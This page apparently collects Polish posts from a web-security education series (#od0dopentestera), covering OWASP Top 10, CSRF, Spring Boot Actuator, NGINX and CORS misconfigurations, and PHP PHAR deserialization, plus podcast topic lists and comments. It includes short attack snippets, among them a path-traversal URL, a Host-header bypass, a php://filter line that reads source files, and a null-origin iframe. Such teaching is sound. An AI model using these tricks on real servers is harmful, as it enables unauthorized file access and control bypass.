-
Sekunda przestępna powodem 100% zużycia CPU.
Różne adresy email prowadzące do jednej osoby - o kropkach w serwisie Gmail.
Sposób na kradzież pieniędzy od użytkowników ebooków.
Phishing przy pomocy tłumacza Google Translate.
Czy ustawianie wiadomości autorespondera w biznesowej poczcie to dobry pomysł?
Co to jestsession replay
- czyli jak śledzić poczynania użytkowników aplikacji mobilnych.
Opowieść o linkach z sekretami - jakie dane można znaleźć na serwisieVirusTotal
?
Do czego służy Facebook Custom Audiences a także o programach Bug Bounty.
Subskrybuj kanał na YouTube
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Dostępne również na Google i Apple Podcasts oraz Spotify i Anchor.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
#od0dopentestera #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #podcast #swiat #gruparatowaniapoziomu pokaż całość-
@Kryptonim_Janusz: Jeżeli wszystko pójdzie zgodnie z planem to kolejne 8 odcinków powinno się pojawiać przez następne 8 tygodni. Zazwyczaj będę je publikował albo w czwartki albo w piątki.
-
#od0dopentestera Kontynuujemy 10 odcinkowy kurs bezpieczeństwa aplikacji internetowych dla początkujących programistów.
Dziś A2: Broken Authentication - Niepoprawna obsługa uwierzytelniania.
W tej kategorii chodzi głównie o rzeczy powiązane z rejestracją i logowaniem.
Na pierwszy rzut oka może się wydawać, że potencjalnych błędów tego rodzaju będzie mało – ale to nieprawda.
Programista musi bowiem zabezpieczyć proces rejestracji – począwszy od sprawdzenia słabych haseł a skończywszy na poprawnym zaimplementowaniu ich odzyskiwania.
Hasła muszą następnie zostać bezpieczne zapisane na przykład w bazie danych – tutaj kłania się haszowanie przy pomocy funkcji jednokierunkowych wraz z losowymi solami.
Gdy użytkownik posiada już konto – może się zalogować.
Ile razy może błędnie podać swoje dane logowania?
Jak zabezpieczyć się przed botami przy użyciu mechanizmu captchy?
Czy użyty został dodatkowy mechanizm dwuskładnikowego uwierzytelnienia - na przykład przy pomocy kodów SMS?
A może któryś z endpointów API nie wspiera tego mechanizmu co sprawia, że staje się on bezużyteczny?
Gdy dane zostaną już prawidłowo sprawdzone – należy wygenerować identyfikator sesji, na podstawie którego użytkownik będzie rozpoznawany w systemie.
Czy jest on dostatecznie losowy i unikalny?
A może opiera się na mailu lub też innej stałej co może doprowadzić do zalogowania się na konto innego użytkownika?
Zazwyczaj identyfikator ten jest przechowywany w ciasteczkach.
One to powinny mieć ustawioną flagę HttpOnly – tak aby nie można się było do nich dostać z poziomu kodu #javascript.
Na koniec – wylogowanie z systemu powinno być nieodwracalne – to znaczy sesje należy zniszczyć, aby nie można się było przy jej pomocy ponownie zalogować.
A może sesja nie jest niszczona a tylko usuwane jest ciasteczko po stronie użytkownika?
Zapraszam do materiału wideo.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#programowanie #security #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu #bezpieczenstwo #webdev #programista15k pokaż całość-
@bzyku95: Nie mówię tutaj o JWT. Bardziej skupiam się na ogólnych pojęciach niż na szczegółach implementacji.
-
Jak działa zimny i gorący portfel w odniesieniu do kryptowalut?
Czy Twoja firma przetrwa śmierć kluczowego pracownika? O czynniku autobusowym.
Jak nadużywa się mechanizmów ochrony praw autorskich aby uzyskać okup od Youtuberów?
Atakowanie kamer rozpoznających znaki ograniczenia prędkości w nowoczesnych samochodach.
Co to jest Jailbreak i jak można go wykryć z poziomu aplikacji na telefon?
Jak sprawdzić czy legitymacja studencka jest sfałszowana?
O bezpieczeństwie skrótów Siri w iPhone.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Wersja audio oraz transkrypcja.
#od0dopentestera #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #podcast #swiat pokaż całość-
pokaż spoiler
@sebekk23 @Melisandre @kintoro @Narrorek @Lizbona @nick230 @3denos @lucash9 @SpPin @Kryptonim_Janusz @krypsi @Diablo97 @Dupa01 @Najslabszy_Pingwin_w_Stadzie @Powrocilem-Z-UsunKonto @forsa @norwid2 @zajeli-wszystkie-loginy @H4v3n @RJ45 @CheddarDry @Kszyh @xed2 @Wiejcu @3mpty @terwer358 @mafias @motylanogha @WujekL @nusch @ruinsane @Buffalo @moxie @lasso @Smoczers @vorio @imlmpe @Koszmar_zUo @Zsan @Verbatino @pavbi
pokaż całość
-
-
OWASP Top 10 to zbiór dziesięciu najpopularniejszych błędów bezpieczeństwa, które można spotkać na stronach internetowych.
Rozpoczynam nowy cykl filmów właśnie na ten temat w ramach #od0dopentestera
Są one przeznaczone dla szerszego grona #webdev oraz #programista15k a nie tylko osób zajmujących się #bezpieczenstwo
Skupiam się tutaj na ogólnym przedstawieniu koncepcji a nie na szczegółowym wytłumaczeniu każdego z błędów.
Można to więc potraktować jako punkty, na które warto zwrócić uwagę podczas #programowanie
Dzisiaj A1: Injection czyli wstrzyknięcie.
Błędy tego rodzaju powstają jeżeli nie traktujemy danych od użytkownika jako potencjalnie niebezpiecznych i trafiają one bezpośrednio do zapytania lub jakiegoś polecenia.
Przy pomocy odpowiednio spreparowanego ciągu znaków atakujący ma możliwość pobrania innych rekordów lub wywołania innych komend niż wcześniej zakładano.
Najczęściej tego rodzaju podatności można spotkać w kodzie odpowiedzialnym za zapytania do różnego rodzaju baz danych.
Mogą one występować również gdy używamy funkcji służących do wykonania komend systemowych.
Kluczowe jest zatem odpowiednie filtrowanie danych pochodzących z zewnątrz.
W odniesieniu do SQL Injection - chodzi tutaj oPrepared Statements
.
Zamiast przekazywać parametry bezpośrednio do zapytania - oznaczamy je zazwyczaj używając pytajnika.
A ich podmianą zajmuje się odpowiednia funkcja, która dba o zabezpieczenie całości.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
@KacperSzurek: Bardzo fajny materiał i podoba mi się, że nastawiony na 'zielonych' w temacie. Będę oglądać dalej ( ͡° ͜ʖ ͡°)
Jedna uwaga montażowa: rozumiem, że robisz te cięcia i tu nie ma problemu, ale kłopot w tym, że na jednym ujęciu jesteś bliżej kamery, a na innym dalej i przez to przy cięciu 'skaczesz' po ekranie (jak np. w 2:27 - 2:32). Trochę ciężko się przez to ogląda.
-
Jak przekonać rodzica do kupna psa przy użyciu reklam na Facebooku?
Kopiowanie kodu ze StackOverflow początkiem problemów.
Jak powinien wyglądać dobry raport z testu penetracyjnego?
Historia wspólnego klucza prywatnego używanego przez wiele stron.
Co to jest "domain hijacking" i jak się przed nim bronić.
Quiz na temat phishingu od Google.
Jak przejąć domenę poprzez błędny rekord DNS?
Dlaczego tajny token do podpisywania ciasteczek musi być losowy?
Poradnik bezpieczeństwa dla Iphona.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Wersja audio oraz transkrypcja.
#od0dopentestera #programowanie #informatyka #it #nauka #technologia #ciekawostki #podcast #swiat #gruparatowaniapoziomu pokaż całość-
Wołam zainteresowanych (83) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto @Deflaut @cytawek @dziki_bak @koperrr @balor @elpredatoro @notoniewiem @czechu @arba @Wroneczek @xDRpl @Dwarg @umiarkowany_ekstremista @bartex121 @madox @porbono @adrpan @thecar @Ravciu @brudny @luznoluzno @phund @int
pokaż całość
+: wolny_kangur, manngoth -
pokaż spoiler
@tomek4 @sebekk23 @Melisandre @kintoro @Narrorek @Lizbona @nick230 @3denos @lucash9 @SpPin @Kryptonim_Janusz @krypsi @Diablo97 @Dupa01 @Najslabszy_Pingwin_w_Stadzie @Powrocilem-Z-UsunKonto @forsa @norwid2 @zajeli-wszystkie-loginy @H4v3n @RJ45 @CheddarDry @Kszyh @xed2 @Wiejcu @3mpty @terwer358 @mafias @motylanogha @WujekL @nusch @ruinsane @Buffalo
pokaż całość
+: wolny_kangur, manngoth
-
-
CSRF to niedoceniany błąd, który może doprowadzić do nieświadomego wykonania jakiejś akcji przez zalogowanego użytkownika – chociażby stworzenia nowego konta administratora.
Dzisiaj w #od0dopentestera wytłumaczę jak działa ten mechanizm.
Przesyłając dane do strony zazwyczaj używamy formularza.
Serwer odpowiednio procesuje wysłane przez nas informacje i na ich podstawie wykonuje daną akcję.
Ale nic nie stoi na przeszkodzie, żeby ten sam formularz umieścić na jakiejś innej stronie – nie powiązanej z tą, do której przesyłamy dane.
Na pierwszy rzut oka możesz pomyśleć, że to nie zadziała – wszak musimy być zalogowani na danej stronie – a przecież inna domena nie jest powiązana z naszą witryną.
Tylko, że przeglądarki działają inaczej.
Kiedy przesyłane są jakieś dane do serwera – jeżeli przeglądarka posiada ciasteczko pasujące do danej domeny – dołącza je do żądania automatycznie.
A to właśnie na podstawie ciasteczka serwer wie, że my to my.
Stąd też atakujący może dla przykładu umieścić formularz mający za zadanie stworzyć nowego administratora na swojej stronie a następnie musi przekonać nas, abyśmy będąc zalogowanymi odwiedzili jego witrynę.
Wtedy to dane z formularza zostaną automatycznie przesłane razem z naszym ciasteczkiem – a ponieważ, byliśmy zalogowani – serwer wykona żądaną akcję.
Jak więc wygląda mechanizm obrony przed tym atakiem?
Do każdego formularza dokłada się dodatkowe pole – z losową wartością, która to jest następnie sprawdzana przed wykonaniem danej czynności.
Serwer wie jaka to wartość – wszak ją generuje, ale atakujący nie ma pojęcia jaka ona będzie – za każdym razem jest ona inna i losowa.
Dzięki temu nie jest w stanie spreparować formularza, który będzie zawierał prawidłową wartość.
Teraz już wiesz, dlaczego w ukrytych polach znajdują się losowe litery i cyfry.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #bezpieczenstwo #programowanie #programista15k #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość -
Czy czcionka może zdemaskować oszusta?
Po co ktoś kradnie konta na Instagramie?
Dlaczego nie warto umieszczać zdjęć kart pokładowych w serwisach społecznościowych?
Garść porad na temat poszukiwania ukrytych kamer.
Nowy sposób przenoszenia złośliwego oprogramowania przy pomocy podpisanych plików.msi
.
Atakowanie dźwigów na budowie.
Wykrywanie dronów na podstawie analizy wifi.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Wersja audio oraz transkrypcja.
#od0dopentestera #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #podcast #swiat pokaż całość-
Wołam zainteresowanych (62) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto @Deflaut @cytawek @dziki_bak @koperrr @balor @elpredatoro @notoniewiem @czechu @arba @Wroneczek @xDRpl @Dwarg @umiarkowany_ekstremista @bartex121 @madox @porbono @adrpan @thecar @Ravciu @brudny @luznoluzno @phund @int
pokaż całość
-
-
Spring Boot Actuator to narzędzie które pozwala nam na monitorowanie naszej aplikacji napisanej w #spring.
Dzisiaj w #od0dopentestera nieco inne spojrzenie na ten mechanizm.
W standardowej konfiguracji z poziomu interfejsu webowego dostępne są endpointyhealth
orazinfo
.
Wygodny programista może jednak użyć gwiazdki - aby udostępnić na stronie wszystkie funkcjonalności.
Pod niektórymi adresami możemy odnaleźć ciekawe informacje.
Często używamy zmiennych środowiskowych i to właśnie w nich przechowujemy jakieś tajne dane - na przykład klucze API.
Odwiedzając endpointenv
- możemy otrzymać listę zmiennych widocznych dla naszej aplikacji.
Innym niedocenianym adresem jestheapdump
- który zwraca zrzut pamięci naszego procesu.
Jeżeli przechowujesz jakieś tajne informacje w zmiennych statycznych - można je tutaj łatwo odnaleźć.
Do przeglądania tego pliku warto użyć zewnętrznego narzędzia, na przykładEclipse Memory Analyzer
.
httptrace
wyświetla listę kilkunastu ostatnich żądań do serwera.
Oprócz adresów widnieje tam również kompletna lista nagłówków wysyłanych przez klientów - razem z ciasteczkami użytkownika.
A te można wykorzystać do zalogowania się do aplikacji jako inna osoba.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#java #security #bezpieczenstwo #programowanie #programista15k #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
@walic_nowy_odtwarzacz: nie jest to prawdą. Springowi można co nieco zarzucić, ale to świetny framework.
+: Siarkowy -
@walic_nowy_odtwarzacz: Spring Boot ma wbudowany serwer więc nie trzeba kombinować z tomcatami i innymi syfami które potrafią się wywalić na starcie. To po prostu działa. Konfiguracja też jest o wiele prostsza. Po to właśnie powstał Spring boot. Spring to bardzo przyjemny framework i da się na nim zbudować potężne aplikacje. To czy jest toporny zostawiam bardziej doświadczonym kolegom, ja nie narzekam
+: Siarkowy
-
-
Jak działa atak większościowy 51% na kryptowalutę Ethereum?
O błędzie w wyszukiwarce Google, który pozwalał na tworzenie fałszywych informacji.
Jak przestępcy omijają wykrywanie swoich złośliwych domen przy użyciu niewidocznej spacji
Czy kurz na kamerze może się komuś przydać?
Dlaczego zaatakowano urządzenia Google Chromecast służące do strumieniowania treści na telewizorze?
Slack jako skarbnica wiedzy dla atakującego.
Wykorzystanie funkcjonalności OAuth razem z błędami XSS.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Wersja audio.
#od0dopentestera #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #podcast #swiat pokaż całość-
Wołam zainteresowanych (48) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto @Deflaut @cytawek @dziki_bak @koperrr @balor @elpredatoro @notoniewiem @czechu @arba @Wroneczek @xDRpl @Dwarg @umiarkowany_ekstremista @bartex121 @madox @porbono @adrpan @thecar @Ravciu @brudny @luznoluzno
pokaż całość
-
-
NGINX to szybki i wydajny serwer HTTP. Ale czy wiesz jak go prawidłowo i bezpiecznie skonfigurować?
W dzisiejszym odcinku #od0dopentestera kilka przykładów błędnych konfiguracji, które mogą narazić nas na atak.
location /frytki {
alias /test/;
}
Jeżelilocation
nie kończy się slashem/
możliwe jest pobieranie treści poza katalogiemtest
:
http://strona.local/frytki../plik_poza_katalogiem.html
add_header X-Frame-Options SAMEORIGIN;
location /xss/ {
add_header X-XSS-Protection "1; mode=block";
alias /test/;
}
Jeżeliadd_header
używany jest w polu nadrzędnym i podrzędnymi wartości nie są łączone i wyświetla się jedynie ta z pola podrzędnego.
W tym wypadku w lokalizacji/xss
nie będzie ustawiony nagłówekX-Frame-Options
.
if ($http_host ~ "admin.local") {
set $block "1";
}
Gdy porównujesz tekst przy pomocy tyldy~
pamiętaj, ze rozróżnia ona wielkość liter.
W tym wypadku blokadę można ominąć używając nagłówka:
Host: ADMIN.LOCAL
Konfiguracje można sprawdzić automatycznie używając skryptu gixy.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #bezpieczenstwo #programowanie #programista15k #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość -
Google Dorks - znajdowanie podatności przy użyciu wyszukiwarki.
Opis ataku "Pass the cookie".
Phishing wykorzystujący nietypowe czcionki.
Konkursy typu CTF wstępem do nauki bezpieczeństwa.
Niebezpieczne kody QR na bankomatach.
Jak udało się złamać projekt reCaptcha?
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Wersja audio.
#od0dopentestera #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki #podcast #swiat pokaż całość-
Wołam zainteresowanych (35) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto @Deflaut @cytawek @dziki_bak @koperrr @balor @elpredatoro @notoniewiem @czechu
pokaż całość
-
-
Czasami programiści zakładają, że niektóre funkcje są bezpieczne ze względu na swoją naturę.
Co bowiem złego może się stać podczas sprawdzania czy dany plik istnieje na dysku.
Funkcjafile_exists
przyjmuje tylko jeden parametr i zwraca prawdę lub fałsz.
Ale jak to w #od0dopentestera bywa - diabeł tkwi w szczegółach.
class aplikacja {
function __construct($name) {
$this->name = 'pliki/'.$name;
if (strpos($this->name, "..") !== false) {
die('HACKER');
}
if (!file_exists($name)) {
echo 'PLIK NIE ISTNIEJE';
}
}
function __destruct() {
unlink($this->name);
}
}
W tym kawałku kodu sprawdzamy, czy plik o danej nazwie istnieje w katalogupliki
.
Jeżeli tak - usuwamy go przy pomocy funkcjiunlink
.
Chcemy obsługiwać wyłącznie ten jeden katalog - chronimy się przed atakiempath traversal
sprawdzając, czy nie podano podwójnych kropek.
To chroni nas przed ciągami w stylu./pliki/../../inny_katalog/
.
Niektóre funkcje związane z odczytywaniem plików z dysku obsługują tak zwane wrapery.
To tak naprawdę inna nazwa na obsługę danego protokołu np.http
czyhttps
.
#php obsługuje format PHAR - czyli pewnego rodzaju archiwa, które mogą przechowywać całą aplikację w jednym pliku.
Można to porównać do plików JAR w Java.
Archiwum oprócz treści plików przechowuje także metadane.
Są one trzymane w zserializowanej formie - oznacza to że do ich odczytu używana jest funkcjaunserialize
.
Ona to jest niebezpieczna - ponieważ podczas jej użycia interpreter automatycznie wywołuje magiczne metody - co może doprowadzić do ataku object injection.
Wystarczy więc stworzyć paczkę PHAR z obiektemaplikacja
, w którejname
ustawiamy na złośliwą wartość.
Taki plik wysyłamy na serwer a następnie odnosimy się do niego przy użyciu funkcjifile_exists
wykorzystując protokółphar://
.
Wtedy to dany plik zostanie otwarty a podczas deserializacji metadanych zostanie wywołana magiczna metoda__destruct
.
Dzięki temu możemy usunąć dowolny plik i ominąć zabezpieczenie.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #bezpieczenstwo #programowanie #programista15k #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
@Hipodups: Chodziło mi o to, że w podanym przykładzie możesz zamienić
file_exists
nafile_get_contents
i nadal będzie on działał tak samo.
Chociaż jeżeli kontrolujesz tą drugą funkcję jest jeszcze prostsza metoda przy użyciu filtrów.
Tutaj przykład w którym możesz wyświetlić kod dowolnego pliku (w tym przypadkuindex.php
) i będzie on zakodowany przy użyciu base64.
echo file_get_contents('php://filter/convert.base64-encode/resource=index.php');
pokaż całość
-
Co to są
Canary Tokens
i jak można wykorzystać je do wykrycia włamania we wczesnej jego fazie.
Jakie informacje na temat naszych zakupów posiada Google?
Czy hasła maskowane stosowane w bankach to rzeczywiście taki dobry pomysł?
Jak przekonać użytkownika do zainstalowania złośliwego oprogramowania przy pomocy HTML?
O metodzie ataku poprzez kabel USB podpinany do komputera.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
#od0dopentestera #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki pokaż całość -
Jak działa atak Business Email Compromise?
Czy phishing może doprowadzić do ewakuacji szkoły?
Jak nie cenzurować internetowych map?
Czy można wykraść tajne dane z telefonu, jeżeli podłączymy go do złośliwej ładowarki?
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
#od0dopentestera #bezpieczenstwo #programowanie #informatyka #it #nauka #technologia #ciekawostki pokaż całość-
Wołam zainteresowanych (30) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto @Deflaut @cytawek @dziki_bak
pokaż całość
-
-
W nomenklaturze informatycznej również można znaleźć „świąteczne” zwroty.
Christmas tree packet is a packet with every single option set for whatever protocol is in use.
#od0dopentestera #informatyka #it #nauka #technologia #ciekawostkiźródło: christmas_tree_packet.png
-
Poliglota to osoba znająca wiele języków. Ale termin ten ma również znaczenie w odniesieniu do kwestii związanych z bezpieczeństwem.
Dzisiaj w od #od0dopentestera 0dopentestera o plikachpolyglot
, które przyspieszają testowanie aplikacji internetowych.
Weźmy prosty atak XSS.
Dochodzi do niego jeżeli programista nie będzie odpowiednio filtrował danych pochodzących od użytkownika.
Te dane, mogą być wyświetlane na stronie w różnych miejscach - tak zwanych kontekstach.
Standardowo jeden payload - to jeden kontekst.
Aby sprawdzić czy błąd występuje w różnych kontekstach potrzebujemy różnych ciągów znaków.
Dlatego też w celu oszczędności czasu wykorzystuje się tak zwane polygloty.
Są to specjalnie ciągi znaków, które zostały przygotowane w taki sposób, aby działały w wielu kontekstach równocześnie.
Warto spojrzeć na stronę konkursu na najkrótszy polyglot, który jest w stanie przetestować aż 20 różnych miejsc na raz.
Tą idee można z powodzeniem stosować w innych miejscach np. w atakach SQL Injection.
Można tak również omijać wbudowane mechanizmy bezpieczeństwa tworząc plik.jpg
, który równocześnie jest prawidłowym kodem #javascript
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
#security #bezpieczenstwo #programowanie #programista15k #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
Wołam zainteresowanych (28) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto @Deflaut
pokaż całość
-
-
CORS – czyli cross-origin resource sharing to mechanizm umożliwiający współdzielenie zasobów pomiędzy serwerami znajdującymi się w różnych domenach.
Zazwyczaj w nagłówkuAccess-Control-Allow-Origin
podajemy adres domeny, która może się łączyć z naszymi zasobami.
Gwiazdka w tym polu oznacza, że zezwalamy na dostęp z każdej domeny.
Czy zatem ustawienie w tym polu wartościnull
jest prawidłowe i bezpieczne?
pokaż spoilerNie
#od0dopentestera #security #programista15k #programowanie #informatyka #it #nauka #ciekawostki pokaż całośćźródło: cors.png
-
@matixrr: Przeglądarka ustawia
Origin
nanull
jeżeli zapytanie jest wysłane z odpowiednio spreparowanej ramki:
<iframe sandbox='allow-scripts allow-forms'
src='
data:text/html, <!DOCTYPE html>
<script>
var req = new XMLHttpRequest();
</script>
'></iframe>
Więcej tutaj pokaż całość+: matixrr
-
-
Jak wyglądają realne błędy w aplikacjach?
W dzisiejszym odcinku #od0dopentestera pokażę Ci 4 błędy w oprogramowaniu Kallithea, które umożliwiają dostęp do cudzych danych.
Kallithea to serwer #git napisany w #python
Uprawnienia w całej aplikacji są weryfikowane przy pomocy dekoratorów.
Za każdym razem gdy chcemy sprawdzić czy użytkownik posiada dostęp do danej funkcjonalności - zamiast wywoływać funkcjęHasRepoPermission
- możemy użyć dekoratorów.
@HasRepoPermissionAllDecorator('repository.admin')
def delete(self, repo_name):
Takie rozwiązanie poprawia czytelność kodu, ale jeżeli nie umieścimy żadnego dekoratora przed funkcją - aplikacja będzie myślała, że dany użytkownik ma pełne uprawnienia do danej funkcjonalności.
W tym wypadku programiści zapomnieli o dekoratorze w miejscu, które było odpowiedzialne za ustawianie odpowiednich uprawnień dostępu do repozytorium.
Wystarczyło więc znać nazwę cudzego repozytorium i ustawić siebie jako administratora.
Drugi błąd znajdował się w interfejsie API.
Aplikacja pozwalała na tworzenie repozytoriów na podstawie innych repozytoriów.
Standardowe użycie to podanie adresu http interesującego nas repozytorium - na przykład na Githubie.
Ale git pozwala również na klonowanie lokalnych repozytoriów - przy użyciu normalnej ścieżki do katalogu.
Jeżeli znaliśmy nazwę używaną przez innego użytkownika - mogliśmy przewidzieć w jakim katalogu Kallithea trzyma wszystkie potrzebne dane.
Następnie wystarczyło podać tą ścieżkę podczas tworzenia nowego repozytorium i kod do którego nie posiadaliśmy dostępu, nagle okazuje się być dostępny.
Więcej informacji na temat tych błędów na moim blogu.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
#security #bezpieczenstwo #programowanie #programista15k #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
Wołam zainteresowanych (27) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto
pokaż całość
-
Takie rozwiązanie poprawia czytelność kodu
@KacperSzurek: takie rozwiązanie, to najczęściej jest odpowiedź na:
kurwa, zjebaliśmy coś w logice aplikacji, ale pierdolniemy dekoratory tu i ówdzie, to nie trzeba będzie tego przepisywać.+: boryspo, KacperSzurek
-
-
Co to jest atak na pomoc techniczną i jak nie dać się nabrać.
Czy kradzież danych z mieszkania przy pomocy żarówek jest możliwa?
Jak wykorzystać Google Translate jako serwer proxy?
Atak gorszy niż spam - email flooding.
Znajdowanie drukarek podpiętych do Internetu przy pomocy serwisu Shodan.
#podcast Szurkogadanie - zestawienie ciekawych informacji o #bezpieczenstwo
Dostępny również na Spotify oraz Google i Apple Podcasts.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.
Masz pytanie na temat #security? Zadaj je na grupie od 0 do pentestera na Facebooku.
#od0dopentestera #programowanie #swiat #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu pokaż całość-
Wołam zainteresowanych (27) z listy od0dopentestera
Możesz zapisać/wypisać się klikając na nazwę listy.
Sponsor: Grupa Facebookowa z promocjami z chińskich sklepów
Masz problem z działaniem listy? A może pytanie? Pisz do IrvinTalvanen
pokaż spoiler@KacperSzurek @Mashe @UrimTumim @porque @NERP @Smevios @Jakplus @Pioneer95 @ThatPart @szczeppan @Zielarz25 @press2210 @Dorrek @hiroszi @jerekp @Dyktus @bovver91 @Campell @ghostd @heow @Bakanany @znow_nowy_nick @arais_siara @Pies_Benek @HeinzDundersztyc @johnyboy @MojeTrzecieKonto
pokaż całość
-
